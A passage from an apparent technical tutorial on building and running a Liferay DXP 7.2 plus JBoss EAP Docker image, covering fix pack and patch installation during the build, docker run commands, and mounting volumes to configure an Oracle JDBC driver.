in Table 1.&lt;/p&gt;&lt;p&gt;The figure below shows the installation of the Fix Pack starting immediately afterwards
the installation of the Patching Tool, and in this case it is the Fix Pack
&lt;strong&gt;liferay-fix-pack-dxp-8-7210.zip&lt;/strong&gt; on Liferay 7.2 DXP SP 2 version.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/17f66a173df1dd63a732cd09e8b71fc3/b41cb/fix-pack-installation-when-build-image.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:33.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;134\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20134\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2067v67h38c37%200%2038%200%2038-2l1-2v2c0%202%200%202%20162%202h162V0H0v67m0%201v67l2-3c2-2%202-3%201-3-2%200-2-2-2-8s0-8%201-7h2c1%202%205%202%205%201l-4-3c-4%200-4%200-4-4%200-5%200-5%2013-4l6-1c0-2%200-2-3-2H1v-5l1-4h3l9%201c7%200%208-1%208-3H6l-3-1-2-2%204-1c5%201%205-2%200-2-6-1-5-3%201-3l6-2c0-1-7-2-8%200v-1l-1-1c-2%201-2%200-2-5%200-3%200-5%201-4%201%202%204%201%204-1%200-1%200-2-1-1v1c0%202-1%201-3%200-1-2-1-4%201-3l1-2h1l12%201-2-2-1%201c-2-2-7-2-7-1H6l-3-1c-1%201-2%200-2-1s1-2%203-1l4-1c1-2%201-2-3-2-5%200-6-3-1-3h18v-2l-3-1H1v-4c0-4%200-5%203-5l7-1%201-1%201%201%204%201a1697%201697%200%200110-1c0-1-4-2-12-2a52%2052%200%2001-13%200l-1-2%203-1h3c2%201%205%201%205-1s-9-2-10%200l-1-2c0-2%201-2%205-2l2-1h7l3%201%203-1%201-1%201%202h1l1-3c-1-1-17%200-18%201H6l-1-2c-4%201-4%200-4-12L0%2068M49%204c0%202%201%202%209%202l9-1h1c1%201%201%201%202-1h1c0%202%2011%202%2012%200h1l2%202%202-2c0-2%200-2-1-1%200%202-2%203-2%201l-1-2-2%201-1%201V3l-1-1-1%201h-4c0-2-2-1-2%201h-1c0-3-23-3-23%200m59-1c-2%200-3%201-3%202l10%201h10c2-2%204-2%204-1s11%201%2012-1h1c1%202%209%203%209%202l1-3h-6c-1-1-1-1-1%201h-1l-2-2-3%202h-1c0-2-13-2-17-1h-13M50%2013v2c-1%202%200%202%208%202l9-1h4c0%202%2011%202%2012%200l1-1c0%203%204%203%204%200%200-1%200-2-1-1v1l-1%201-1-1c0-2-3-3-3-1h-2c-1-1-1-1-1%201h-1l-2-1h-1c0-2-2-1-2%201h-1l-22-2m-1%207h-6l-7%201c0%202%209%203%2010%202l2-1h1l9%201%209-1h4c0%202%2011%201%2012-1h1c0%202%201%202%208%202h10l1%201c0-4-12-6-14-3h-1c0-1%200-2-1-1v1l-1%201-1-1c0-2-3-3-3-1h-3c0%202%200%202-1%201h-2l-1-1c0-2-2-1-2%201h-1c-1-2-23-3-23-1m192%2011l-11%201-11%201-1-1h-6l-9%201c0%201%2025%202%2031%201h3l2%201c2%200%204-4%203-5l-1%201m10%200c0%201-1%202-4%201s-4%200-4%201%201%202%205%202l4-1%201-2%201%201%202%202%202-1h32c4-1%202-2-2-2-29-1-32%200-32%201h-1c0-2-3-3-4-2M76%2056c0%202%200%202%206%202l6-2h1c0%202%2022%202%2025%201h15c1%201%201%201%201-1%201-2%200-2-5-2l-6%201H98l-6-1-5%201h-4l-5%201h-1c-1-2-1-2-1%200m1%205h-2l-12-1c-10%200-11%201-11%202%200%202%2010%202%2013%201h13a64%2064%200%200021%200c2%201%209%201%2010-1%200-1%201-1%202%201%201%201%201%201%201-1s-3-3-4-1h-1l-4-1h-4c0-1-1-1-1%201H84l-6-1-1%201m121%2018c-1%202%200%202%2010%202l10-1h1c1%202%2012%201%2012-1h1c1%202%205%203%205%201h8l2%201h1l4-1h1c0%202%205%202%205%200h1c1%201%2013%202%2015%201%203-2%202-3-2-3h-4c-1-1-1-1-1%201h-1c-1-2-15-2-15%200h-1c-1-1-12-2-13-1h-1c-1-1-1-1-1%201h-1c-1-2-4-3-4-1h-7c0-1-7-1-7%201h-1l-1-2v2h-1c0-3-15-3-15%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/17f66a173df1dd63a732cd09e8b71fc3/c85cb/fix-pack-installation-when-build-image.webp 300w,/static/17f66a173df1dd63a732cd09e8b71fc3/e88ff/fix-pack-installation-when-build-image.webp 600w,/static/17f66a173df1dd63a732cd09e8b71fc3/92f8c/fix-pack-installation-when-build-image.webp 1200w,/static/17f66a173df1dd63a732cd09e8b71fc3/e0991/fix-pack-installation-when-build-image.webp 1661w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/17f66a173df1dd63a732cd09e8b71fc3/5a46d/fix-pack-installation-when-build-image.png 300w,/static/17f66a173df1dd63a732cd09e8b71fc3/0a47e/fix-pack-installation-when-build-image.png 600w,/static/17f66a173df1dd63a732cd09e8b71fc3/c1b63/fix-pack-installation-when-build-image.png 1200w,/static/17f66a173df1dd63a732cd09e8b71fc3/b41cb/fix-pack-installation-when-build-image.png 1661w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 11 - Fix Pack installation during Docker Liferay image creation&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/17f66a173df1dd63a732cd09e8b71fc3/c1b63/fix-pack-installation-when-build-image.png&quot; title=&quot;Figure 11 - Fix Pack installation during Docker Liferay image creation&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 11 - Fix Pack installation during Docker Liferay image creation&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;54-liferay-hotfix-and-security-fix-pack-installation&quot;&gt;5.4. Liferay Hotfix and Security Fix Pack installation&lt;/h3&gt;&lt;p&gt;As with the installation of the Fix Pack, also Hotfix and Security Fix Pack
follow the same installation procedure. To activate the installation in phase
to create the image, it is necessary to download the relative zip files from the Customer
Portal of Liferay and place them inside the directory containing the rest
of the bundles indicated in Table 1.&lt;/p&gt;&lt;h3 id=&quot;55-jboss-eap-patch-installation&quot;&gt;5.5. JBoss EAP Patch Installation&lt;/h3&gt;&lt;p&gt;As with Liferay, so is JBoss EAP in the creation process Docker image, if the
patch zip file is present, it will be applied. The figure below shows the patch
being applied during the build process. In this case patch 7.2.9 has been
applied, which means that the new JBoss EAP version will be 7.2.9.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/4cfa239c8eb315ad02e7288f178a39d2/fbf76/jboss-eap-patch-installing-when-build-image.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:38.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;154\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20154\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2077v77h401V0H150l1%202c0%202%200%202%201%201%201-2%203-2%203%200%200%203-5%202-6-1l-1-2v2c1%202%200%203-1%203l-1-2c1-4%200-4-2%200l-1%203V3l1-3h-13l-13%201h3c2%200%202%200%202%202l-1%203-1-1h-6c-1%201-4-1-4-3l-1%201c-1%202-8%203-8%201H84c0%201-1%201-2-1l-1-2v2c-1%203-5%203-5%200l1-3H64C52%200%2052%200%2052%202s0%202%201%201c0-2%209-2%209%200l-2%202-3-1h-1c-3%203-8%201-9-2%200-2-1-2-10-2L27%201h5c4%200%206%202%204%204%200%201-1%201-2-1h-2c-1%201-4%201-5-1h-1c0%201-1%202-3%202l-4-1h-1c-2%202-3%201-3-1%200-1%201-2%203-2l2%202h1c2-2%202-2%203-1%201%202%201%202%201%200%201-2%201-2-12-2H0v77M77%208l-1%202c0%203%204%203%205%200V8l1%202c1%202%201%202%202%201l1-2v2h22l2%201%201-2c0-1-2-2-13-2H85c-3-1-5-1-6%201v3l-1-3-1-1m130%207v2l1%201%205%201c4%200%205-1%205-2h1c0%202%2013%202%2013%200h1c0%202%204%202%205%201h1l1%201%201-2c0-2-5-2-6%200%200%201-1%201-1-1l-2-2c-2%202-10%202-12%201s-2-1-3%201l-1%202v-2c-1-2-3-3-3%200h-1c0-2-2-3-2%200h-1v-1l-1-1-1%201m10%20120c0%202%200%202-2%200h-5l-1%201v-1l-1-1-1%202c0%202-2%201-2-1-1-1-1-1-1%201l1%202c12%201%2012%201%2013-1l1-1c0%202%201%202%206%202%206%200%207%200%207-2h1c0%202%203%203%205%202h1l1%201%201-3c0-1-6-2-6%200h-1c0-2-3-3-4-1-1%201-9%200-11-1-1-1-1-1-2%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/4cfa239c8eb315ad02e7288f178a39d2/c85cb/jboss-eap-patch-installing-when-build-image.webp 300w,/static/4cfa239c8eb315ad02e7288f178a39d2/e88ff/jboss-eap-patch-installing-when-build-image.webp 600w,/static/4cfa239c8eb315ad02e7288f178a39d2/92f8c/jboss-eap-patch-installing-when-build-image.webp 1200w,/static/4cfa239c8eb315ad02e7288f178a39d2/5733b/jboss-eap-patch-installing-when-build-image.webp 1252w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/4cfa239c8eb315ad02e7288f178a39d2/5a46d/jboss-eap-patch-installing-when-build-image.png 300w,/static/4cfa239c8eb315ad02e7288f178a39d2/0a47e/jboss-eap-patch-installing-when-build-image.png 600w,/static/4cfa239c8eb315ad02e7288f178a39d2/c1b63/jboss-eap-patch-installing-when-build-image.png 1200w,/static/4cfa239c8eb315ad02e7288f178a39d2/fbf76/jboss-eap-patch-installing-when-build-image.png 1252w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 12 - Patch application on JBoss EAP 7.2.0 during the image build process&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/4cfa239c8eb315ad02e7288f178a39d2/c1b63/jboss-eap-patch-installing-when-build-image.png&quot; title=&quot;Figure 12 - Patch application on JBoss EAP 7.2.0 during the image build process&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 12 - Patch application on JBoss EAP 7.2.0 during the image build process&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;When the Liferay instance is up, you can check the JBoss EAP version from the
application server logs themselves or using the &lt;strong&gt;version&lt;/strong&gt; and &lt;strong&gt;patch info&lt;/strong&gt;
directly from the JBoss EAP CLI. The figure below shows the check the version of
JBoss EAP, which after applying the patch is passed from 7.2.0 to 7.2.9.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/e7d65b971c5c992cddb9228a0fd3dc63/0b569/check-jboss-eap-version-and-patch-info.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:43.99999999999999%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;176\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20176\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2088v88h401V0H0v88m0%201l1%2078c0-10%201-10%203-10l2-1h1c1%201%205%201%205-1l-2-2-1%201H6l-1-1-3-1c-1%201-1%200-1-1s0-2%201-1l2-2c0-2-1-3-2-3-1%201-1%200-1-3%200-2%200-3%201-2%200%203%202%203%202%200h1l2%202%201-2c-1-1-1-2-5-2-2%200-2-1-2-10%200-6%200-9%201-8l3-1h1l1%201c3-2%201-4-2-4-4%201-4%201-4-2s0-3%204-2c2%200%203%200%203-2%200-1-1-2-3-2l-4%201V95c0-11%200-13%202-13l1-2-1-3v2l-1%202c-2%200-1-6%201-8h4c1-2%200-2-3-2-4-1-4-5%201-4l3-1-1-2-2-1-3-1c-1%201-1%200-1-1l1-2h7c3%201%205%201%206-2%200-2-1-3-4%200h-1c1-1%200-2-3-2-4%200-5%201-4%202l-1%201-1-3c0-3%200-3%207-3l3-1%201-1%201%201%201%201%201-2c0-1-1-2-3-2l-3%201H8c-1-2-6-2-5%200l-1%202-1-11c0-10%200-11%202-11%201%200%202%200%202-2s-1-3-3-1c-1%201-1%200-1-3%200-2%200-4%201-3%200%203%202%202%202%200%201-1%200-2-1-2-2-1-3-4-1-4%202%201%202%200%202-3l-1-1c-2%201-2%200-2-3%200-4%200-4%201-2%201%203%202%202%201-1L1%202C0%201%200%2014%200%2089\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/e7d65b971c5c992cddb9228a0fd3dc63/c85cb/check-jboss-eap-version-and-patch-info.webp 300w,/static/e7d65b971c5c992cddb9228a0fd3dc63/e88ff/check-jboss-eap-version-and-patch-info.webp 600w,/static/e7d65b971c5c992cddb9228a0fd3dc63/92f8c/check-jboss-eap-version-and-patch-info.webp 1200w,/static/e7d65b971c5c992cddb9228a0fd3dc63/62ed8/check-jboss-eap-version-and-patch-info.webp 1800w,/static/e7d65b971c5c992cddb9228a0fd3dc63/46261/check-jboss-eap-version-and-patch-info.webp 2400w,/static/e7d65b971c5c992cddb9228a0fd3dc63/3938d/check-jboss-eap-version-and-patch-info.webp 2878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/e7d65b971c5c992cddb9228a0fd3dc63/5a46d/check-jboss-eap-version-and-patch-info.png 300w,/static/e7d65b971c5c992cddb9228a0fd3dc63/0a47e/check-jboss-eap-version-and-patch-info.png 600w,/static/e7d65b971c5c992cddb9228a0fd3dc63/c1b63/check-jboss-eap-version-and-patch-info.png 1200w,/static/e7d65b971c5c992cddb9228a0fd3dc63/d61c2/check-jboss-eap-version-and-patch-info.png 1800w,/static/e7d65b971c5c992cddb9228a0fd3dc63/97a96/check-jboss-eap-version-and-patch-info.png 2400w,/static/e7d65b971c5c992cddb9228a0fd3dc63/0b569/check-jboss-eap-version-and-patch-info.png 2878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 13 - JBoss EAP version and patching level check&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/e7d65b971c5c992cddb9228a0fd3dc63/c1b63/check-jboss-eap-version-and-patch-info.png&quot; title=&quot;Figure 13 - JBoss EAP version and patching level check&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 13 - JBoss EAP version and patching level check&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h2 id=&quot;6-run-the-docker-liferay-dxp--jboss-eap-image&quot;&gt;6. Run the Docker Liferay DXP + JBoss EAP image&lt;/h2&gt;&lt;p&gt;To launch Liferay&amp;#x27;s new Docker image, you can use commands Docker standard.
Console 3 shows some of the standard commands for start the new image.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Starting amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3 image in interactive mode by exposing HTTP port 8080&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker run -it -p 8080:8080 -P amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Starting amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3 image in detached mode by exposing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# ports 8000 (DEBUG), 8080 (HTTP) and 11311 (Gogo Shell)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker run -d -p 8000:8000 -p 8080:8080 -p 11311:11311 -P amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Starting amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3 image in detached mode by exposing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# ports 8000 (DEBUG), 8080 (HTTP) and 11311 (Gogo Shell) and giving the container a name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker run -d --name liferay72jboss -p 8000:8000 -p 8080:8080 -p 11311:11311 -P amusarra:liferay-dxp-7.2.10-sp3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 3 - Standard Docker commands to start Docker Liferay image&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;When the image is started you can see the following information that
are shown in detail in the figure below:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;how to get the console of the newly created container;&lt;/li&gt;&lt;li&gt;the version of JAVA used to start Liferay;&lt;/li&gt;&lt;li&gt;the situation on the file system on which it is possible to act through the use of the Docker Volume.&lt;/li&gt;&lt;/ol&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/0b569/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:48.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;193\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20193\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2096v97h401V0H272C158%200%20143%200%20144%201c4%205%204%205-59%205H25l1%203-1%202-1-2V6H3v3L1%206C0%201%200%2016%200%2096m0%201a3215%203215%200%20003%2085l2%201h2c3-1%203-4%200-4-7%203-6%205-6-25v-27h4l4-1-1-2-1%201-1%201c-1-2-4-2-4-1v1l-1-13%201-14%202-1-1-1c-2%200-2-1-2-7%200-7%200-8%202-8h7l1%201%201-1c0-2-1-2-5-2-6%200-6%200-6-3%200-2%200-2%201-1h1l-1-2-1-9c0-10%200-10%203-10%201%200%202%200%202-2s0-2-1%200H4l-1-1c-2%201-2%200-2-6%200-7%200-8%202-8h3c1-1%200-2-2-2H2L1%2019%200%2097\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/c85cb/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.webp 300w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/e88ff/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.webp 600w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/92f8c/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.webp 1200w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/62ed8/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.webp 1800w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/46261/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.webp 2400w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/3938d/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.webp 2878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/5a46d/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.png 300w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/0a47e/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.png 600w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/c1b63/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.png 1200w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/d61c2/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.png 1800w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/97a96/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.png 2400w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/0b569/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.png 2878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 14 - Liferay Docker Image Boot Log&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/c1b63/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.png&quot; title=&quot;Figure 14 - Liferay Docker Image Boot Log&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 14 - Liferay Docker Image Boot Log&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;61-use-docker-volume&quot;&gt;6.1. Use Docker Volume&lt;/h3&gt;&lt;p&gt;To act on the configuration of Liferay and JBoss EAP, thus avoiding the
creating new images, you can take advantage of the so-called
&lt;a href=&quot;https://docs.docker.com/storage/volumes/&quot;&gt;Docker Volumes&lt;/a&gt; by mounting the file system
local on the container in execution, as indicated in chapter 1.4. File System.&lt;/p&gt;&lt;p&gt;In case you for example wanted to configure Liferay to use Oracle as
RDBMS, the procedure to follow is as follows:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;prepare the file system layout as required by the standard Liferay images (see File System);&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;review the JBoss EAP configuration:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;modify the module.xml configuration file to add the reference to the RDBMS driver, which in this case is Oracle;&lt;/li&gt;&lt;li&gt;copy the Oracle JDBC driver to the JBoss EAP installation;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;add the connection configuration to the database through the portal-ext.properties properties file or through the environment.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Console 4 shows the commands for creating the file system layout that will contain the
configuration files needed to connect Liferay to the Oracle database.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# 1. Prepare the file system layout&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ mkdir liferay-with-jboss-docker-configuration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; liferay-with-jboss-docker-configuration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ mkdir deploy &amp;amp;&amp;amp; mkdir scripts &amp;amp;&amp;amp; mkdir files&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# 2. Copy the revised module.xml file with reference to the Oracle JDBC driver&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ mkdir -p files/jboss-eap/modules/com/liferay/portal/main/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ cp ~/Downloads/module.xml files/jboss-eap/modules/com/liferay/portal/main/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# 3. Copy the Oracle JDBC driver&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ cp ~/Downloads/ojdbc8.jar files/jboss-eap/modules/com/liferay/portal/main/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# 4. Copy of the portal-ext.properties file with the connection configuration to the Oracle database&lt;/span&gt;&lt;/span&gt;
